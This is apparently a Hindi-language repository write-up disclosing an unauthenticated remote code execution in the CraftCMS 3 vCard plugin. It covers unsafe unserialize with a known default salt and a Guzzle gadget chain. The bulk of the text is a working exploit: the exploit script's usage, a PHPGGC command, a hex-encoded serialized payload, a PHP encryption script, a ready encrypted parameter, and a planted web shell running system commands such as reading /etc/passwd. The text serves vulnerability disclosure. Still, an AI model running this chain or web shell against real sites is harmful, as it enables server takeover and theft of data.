
इस रिपॉजिटरी में CraftCMS 3 के "vCard" प्लगइन में पाई गई एक भेद्यता का विवरण है।
Craft CMS में *.vcf फ़ाइल प्रारूप में संपर्क डाउनलोड करने के लिए "vCard" नामक एक प्लगइन है। यह प्लगइन Craft के रिपॉज़िटरी और Github में देखा जा सकता है: Craft Plugin Store Github
यह प्लगइन क्लाइंट द्वारा भेजे गए एक पैरामीटर को लेता है, openssl_decrypt के साथ मान को डिक्रिप्ट करता है, और फिर परिणामी स्ट्रिंग को PHP के unserialize फ़ंक्शन में डालता है। चूँकि एन्क्रिप्शन के लिए डिफ़ॉल्ट salt रिपॉज़िटरी में उपलब्ध है, एक हमलावर उसी तर्क का उपयोग करके एक दुर्भावनापूर्ण सीरियलाइज़्ड पेलोड को एन्क्रिप्ट कर सकता है।
यदि उपयोगकर्ता ने प्लगइन सेटिंग्स में एक संशोधित "salt" मान कॉन्फ़िगर किया है, तो इसे Python स्क्रिप्ट में एक पैरामीटर के रूप में प्रदान करना होगा। हालाँकि, यदि प्लगइन स्टोर से डाउनलोड किया जाता है या केवल रिपॉज़िटरी क्लोन की जाती है, तो यह मान अपरिवर्तित रहेगा। Craft वेब GUI के माध्यम से इसे बदलने का कोई विकल्प नहीं है।
वह vCard लिंक प्रदान करके स्क्रिप्ट चलाएँ जो संपर्क डाउनलोड को ट्रिगर करती है। vcard पैरामीटर का मान हटा दें।
तब स्क्रिप्ट के लिए पैरामीटर यह होगा: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
एक वैकल्पिक salt मान है जिसे प्रदान किया जा सकता है। सभी विकल्प यहाँ दिखाए गए हैं:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
Python स्क्रिप्ट का परीक्षण Python 3.6 पर किया गया था।
यह स्क्रिप्ट पेलोड को एन्क्रिप्ट करने के लिए हमलावर के होस्ट पर एक PHP कमांड चलाएगी। इसके परिणामस्वरूप, php-cli स्थापित होना आवश्यक होगा। इस हमले का परीक्षण PHP 7.2-cli और PHP 7.3-cli के साथ किया गया था।
यहाँ उस स्थान का स्नैपशॉट है जहाँ कोड असुरक्षित रूप से unserialize करता है (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
$optionsString पैरामीटर क्लाइंट द्वारा प्रदान किए गए "vcard" URL पैरामीटर का मान है। इसे decrypt फ़ंक्शन से पास किया जाता है और फिर डिसीरियलाइज़ किया जाता है। यदि क्लाइंट एन्क्रिप्शन की नकल कर सकता है, तो यह कोड असुरक्षित हो जाता है क्योंकि यह सीधे उपयोगकर्ता-प्रदत्त डेटा को डिसीरियलाइज़ करता है।
यहाँ प्रश्न में एन्क्रिप्शन फ़ंक्शन है (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
एक हमलावर को केवल $key चर जानने की आवश्यकता होती है, जो "VCard::$plugin->getSettings()->salt" द्वारा सेट किया जाता है। डिफ़ॉल्ट मान रिपॉज़िटरी में "s34s4L7" के रूप में देखा जा सकता है (config.php:26) Github
यह मानते हुए कि डिफ़ॉल्ट salt उपयोग किया गया है, एक हमलावर Craft इंस्टॉलेशन में किसी भी क्लास के डिसीरियलाइज़ेशन को बाध्य कर सकता है।
हमें Craft के डिफ़ॉल्ट इंस्टॉलेशन में एक "gadget" क्लास खोजने की आवश्यकता है जिसका उपयोग हम दुर्भावनापूर्ण उद्देश्यों के लिए कर सकें। यह समीक्षा करना कि किन क्लासों में __destruct या __wakeup मैजिक फ़ंक्शन हैं, समीक्षा के लिए पर्याप्त छोटी सूची प्रदान करता है। यह "grep -rni < path to web root > -e '__destruct'" का उपयोग करके किया जा सकता है।
guzzlehttp में "FileCookieJar" नामक एक क्लास है जो एक क्लास विशेषता को फ़ाइल नाम के रूप में उपयोग करके एक फ़ाइल सहेजता हुआ प्रतीत होता है:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
save फ़ंक्शन की जाँच करने से पता चलता है कि यह किसी सिस्टम फ़ाइल पथ पर डेटा लिखेगा, पथ और डेटा दोनों क्लास विशेषताएँ हैं और हमलावर के नियंत्रण में हैं। यह समझ में आता है कि जब यह क्लास ऑब्जेक्ट नष्ट होता है, तो यह अपने पास मौजूद कुकीज़ को फ़ाइल नाम विशेषता में लिख देगा ताकि उन्हें बाद में पुनर्प्राप्त या उपयोग किया जा सके। यहाँ save फ़ंक्शन की सामग्री है जिसमें file_put_contents हमारा लक्ष्य है (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
सौभाग्य से, हमें दुर्भावनापूर्ण पेलोड स्वयं बनाने के लिए मैन्युअल परिश्रम नहीं करना पड़ता। शानदार टूल PHPGGC इस एक्सप्लॉइट में उपयोग के लिए हमारे लिए Guzzle क्लास को पेलोड के साथ सीरियलाइज़ करने की प्रक्रिया को स्वचालित करता है।
मैंने इस उपकरण का उपयोग एक्सप्लॉइट स्क्रिप्ट के लिए आधार पेलोड के रूप में इसे बनाने के लिए किया, हालाँकि फ़ाइल नाम के आधार पर इसे थोड़ा संशोधित किया जाएगा। साथ ही, यह ध्यान रखना महत्वपूर्ण है कि PHPGGC के साथ नया पेलोड उत्पन्न करते समय, "-f" पैरामीटर अवश्य उपयोग किया जाना चाहिए अन्यथा मैजिक __destruct फ़ंक्शन नहीं चलेगा:
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}
sample.txt की सामग्री है:
<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
सावधान रहें कि यहाँ नियमित कॉपी+पेस्ट काम नहीं करेगा क्योंकि सीरियलाइज़्ड क्लास में नल बाइट्स होते हैं जिन्हें विशेषताओं के सही ढंग से मैप होने के लिए वहाँ होना आवश्यक है। मुझे उपकरण से कच्चे आउटपुट को हेक्स में बदलना पड़ा और फिर एन्क्रिप्शन प्रक्रिया की नकल करते हुए इसे वापस स्ट्रिंग में बदलना पड़ा। यहाँ हेक्स पेलोड प्राप्त करने के लिए उपयोग की जाने वाली bash है।
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c436f6f6b69655c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c436f6f6b69655c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a
जनरेट किए गए पेलोड के अंत में एक "0A" बाइट हो सकती है। यदि ऐसा है, तो उसे हटा दें। किसी भी स्थिति में, अब जब हमारे पास PHPGGC से पेलोड है और उसे हेक्स में परिवर्तित कर लिया गया है, तो हमें इसे कमजोर प्लगइन फ़ंक्शन को भेजने से पहले एन्क्रिप्ट करना होगा। पहले उल्लिखित vCard एन्क्रिप्ट फ़ंक्शन के तर्क की नकल करके, हमें बस अपने हेक्स पेलोड को परिवर्तित करना और एन्क्रिप्ट करना है। यहाँ PHP स्क्रिप्ट है जो मैंने उपयोग की:
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c436f6f6b69655c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c436f6f6b69655c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");
$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
$string2 = rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
echo "Encrypted parameter:\n" . $string2 . "\n\n";
?>
और परिणामी आउटपुट:
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY
आखिरकार! अब जब हमारे पास हमारा पेलोड है, तो हमें बस इसे एक अनुरोध में भेजना है और shell उपलब्ध हो जाएगा। एक मान्य vCard डाउनलोड का लिंक अलग-अलग होगा। यहाँ मेरे परीक्षण परिनियोजन से एक नमूना है:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
vcard पैरामीटर का मान हटाकर हमारे दुर्भावनापूर्ण मान से बदल दिया जाता है:
स्ट्रिंग $optionsString के रूप में गुजरती है, डिक्रिप्ट होती है, फिर unserialize होती है जिससे आंतरिक सर्वर त्रुटि उत्पन्न होती है। परीक्षण वेब सर्वर के फ़ाइल सिस्टम की समीक्षा करने से पता चलता है कि एक नई shell.php फ़ाइल बनाई गई है:
craft@craftcms:/var/www/html$ ls
cpresources index.php shell.php web.config
craft@craftcms:/var/www/html$ cat shell.php
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>\n"}]
craft@craftcms:/var/www/html$
अपने ब्राउज़र में http://craftcms/shell.php पर जाकर, मैं अब cmd GET पैरामीटर के माध्यम से सिस्टम कमांड पास कर सकता हूँ।
उदाहरण: http://craftcms/shell.php?cmd=cat%20/etc/passwd
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
PHP गैजेट जनरेशन: https://github.com/ambionics/phpggc
vCard प्लगइन: https://github.com/nfourtythree/craft3-vcard
Craft CMS: https://craftcms.com/
unserialize दस्तावेज़ीकरण: https://www.php.net/manual/en/function.unserialize.php